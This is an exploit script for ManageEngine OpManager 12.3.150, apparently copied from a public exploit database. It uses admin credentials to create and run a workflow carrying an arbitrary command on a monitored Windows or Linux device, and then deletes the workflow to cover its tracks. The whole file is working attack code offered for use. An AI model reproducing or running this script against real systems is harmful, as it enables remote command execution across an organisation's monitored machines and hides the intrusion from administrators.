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## https://sploitus.com/exploit?id=EDB-ID:47255
#!/usr/bin/env python3
# Exploit Title: ManageEngine opManager Authenticated Code Execution
# Google Dork: N/A
# Date: 08/13/2019
# Exploit Author: @kindredsec
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/network-monitoring/download.html
# Version: 12.3.150
# Tested on: Windows Server 2016
# CVE: N/A
import requests
import re
import random
import sys
import json
import string
import argparse
C_WHITE = '\033[1;37m'
C_BLUE = '\033[1;34m'
C_GREEN = '\033[1;32m'
C_YELLOW = '\033[1;33m'
C_RED = '\033[1;31m'
C_RESET = '\033[0m'
LOGIN_FAIL_MSG = "Invalid username and/or password."
def buildRandomString(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def getSessionData(target, user, password):
session = requests.Session()
session.get(target)
# Login Sequence
randSid = random.uniform(-1,1)
getParams = { "requestType" : "AJAX" , "sid" : str(randSid) }
postData = { "eraseAutoLoginCookie" : "true" }
session.post( url = target + "/servlets/SettingsServlet", data = postData, params = getParams )
postData = { "loginFromCookieData" : "false",
"ntlmv2" : "false",
"j_username" : user,
"j_password" : password
}
initialAuth = session.post( url = target + "/j_security_check", data = postData )
if LOGIN_FAIL_MSG in initialAuth.text:
print(f"{C_RED}[-]{C_RESET} Invalid credentials specified! Could not login to OpManager.")
sys.exit(1)
elif initialAuth.status_code != 200:
print(f"{C_RED}[-]{C_RESET} An Unknown Error has occurred during the authentication process.")
sys.exit(1)
apiKeyReg = re.search(".*\.apiKey = .*;", initialAuth.text)
apiKey = apiKeyReg.group(0).split('"')[1]
return { "session" : session , "apiKey" : apiKey }
def getDeviceList(target, session, apiKey):
deviceList = session.get( target + "/api/json/v2/device/listDevices" , params = { "apiKey" : apiKey } )
devices = {}
devicesJsonParsed = json.loads(deviceList.text)
for row in devicesJsonParsed["rows"]:
devices[row["deviceName"]] = [ row["ipaddress"], row["type"] ]
return devices
def buildTaskWindows(target, session, apiKey, device, command):
# Build Task
taskName = buildRandomString()
workFlowName = buildRandomString(15)
jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
jsonData += '"' + taskName + '"'
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"cmd.exe /c ${FileName}.bat ${DeviceName} ${UserName} ${Password} arg1","scriptBody":"""
jsonData += '"' + command + '"'
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
jsonData += '"' + workFlowName + '"'
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
jsonData += '"' + device + '"'
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""
makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })
if "has been created successfully" in makeWorkFlow.text:
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
else:
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
sys.exit(1)
return workFlowName
def buildTaskLinux(target, session, apiKey, device, command):
taskName = buildRandomString()
workFlowName = buildRandomString(15)
jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
jsonData += '"' + taskName + '"'
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"sh ${FileName} ${DeviceName} arg1","scriptBody":"""
jsonData += '"' + command + '"'
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
jsonData += '"' + workFlowName + '"'
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
jsonData += '"' + device + '"'
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""
makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })
if "has been created successfully" in makeWorkFlow.text:
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
else:
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
sys.exit(1)
return workFlowName
# Get the ID of the newly created workflow
def getWorkflowID(target, session, apiKey, workflowName):
getID = session.get(url = target + "/api/json/workflow/getWorkflowList", params = { "apiKey" : apiKey })
rbID = -100
workflowJsonParsed = json.loads(getID.text)
for wf in workflowJsonParsed:
if wf['name'] == workflowName:
rbID = wf['rbID']
if rbID == -100:
print(f"{C_RED}[-]{C_RESET} Issue obtaining Workflow ID. Exiting ...")
sys.exit(1)
return rbID
def getDeviceID(target, session, apiKey, rbID, device):
getDevices = session.get(url = target + "/api/json/workflow/showDevicesForWorkflow", params = { "apiKey" : apiKey , "wfID" : rbID })
wfDevicesJsonParsed = json.loads(getDevices.text)
wfDevices = wfDevicesJsonParsed["defaultDevices"]
deviceID = list(wfDevices.keys())[0]
return deviceID
def runWorkflow(target, session, apiKey, rbID, device):
targetDeviceID = getDeviceID(target, session, apiKey, rbID, device)
print(f"{C_YELLOW}[!]{C_RESET} Executing Code . . .")
workflowExec = session.post(target + "/api/json/workflow/executeWorkflow", params = { "apiKey" : apiKey }, data = { "wfID" : rbID, "deviceName" : targetDeviceID, "triggerType" : 0 } )
if re.match(r"^\[.*\]$", workflowExec.text.strip()):
print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!")
else:
print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.")
sys.exit(1)
deleteWorkflow(target, session, apiKey, rbID)
print(f"{C_GREEN}[+]{C_RESET} Exploit complete!")
def deleteWorkflow(target, session, apiKey, rbID):
print(f"{C_YELLOW}[!]{C_RESET} Cleaning up . . .")
delWorkFlow = session.post( target + "/api/json/workflow/deleteWorkflow" , params = { "apiKey" : apiKey, "wfID" : rbID })
def main():
parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.")
parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)")
parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.")
parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.")
parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.")
args = parser.parse_args()
insufficient_args = False
if not args.u:
print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.")
insufficient_args = True
if not args.t:
print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.")
insufficient_args = True
if not args.p:
print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.")
insufficient_args = True
if not args.c:
print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.")
insufficient_args = True
if insufficient_args:
sys.exit(1)
sessionDat = getSessionData(args.t, args.u, args.p)
session = sessionDat["session"]
apiKey = sessionDat["apiKey"]
devices = getDeviceList(args.t, session, apiKey)
# if there's only one device in the OpManager instance, default to running commands on that device;
# no need to ask the user.
if len(devices.keys()) == 1:
device = list(devices.keys())[0]
else:
print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:")
print("")
counter = 1
for key in devices.keys():
print(f" {counter}: {key} ({devices[key][0]}) ({devices[key][1]})")
print("")
while True:
try:
prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: "
devSelect = int(input(prompt))
except KeyboardInterrupt:
sys.exit(1)
except ValueError:
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
sys.exit(1)
if devSelect < 1 or devSelect > len(list(devices.keys())):
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
sys.exit(1)
else:
device = list(devices.keys())[counter - 1]
break
# don't hate, it works doesn't it?
if "indows" in devices[device][1]:
workflowName = buildTaskWindows(args.t, session, apiKey, device, args.c)
else:
workflowName = buildTaskLinux(args.t, session, apiKey, device, args.c)
workflowID = getWorkflowID(args.t, session, apiKey, workflowName)
runWorkflow(args.t, session, apiKey, workflowID, device)
main()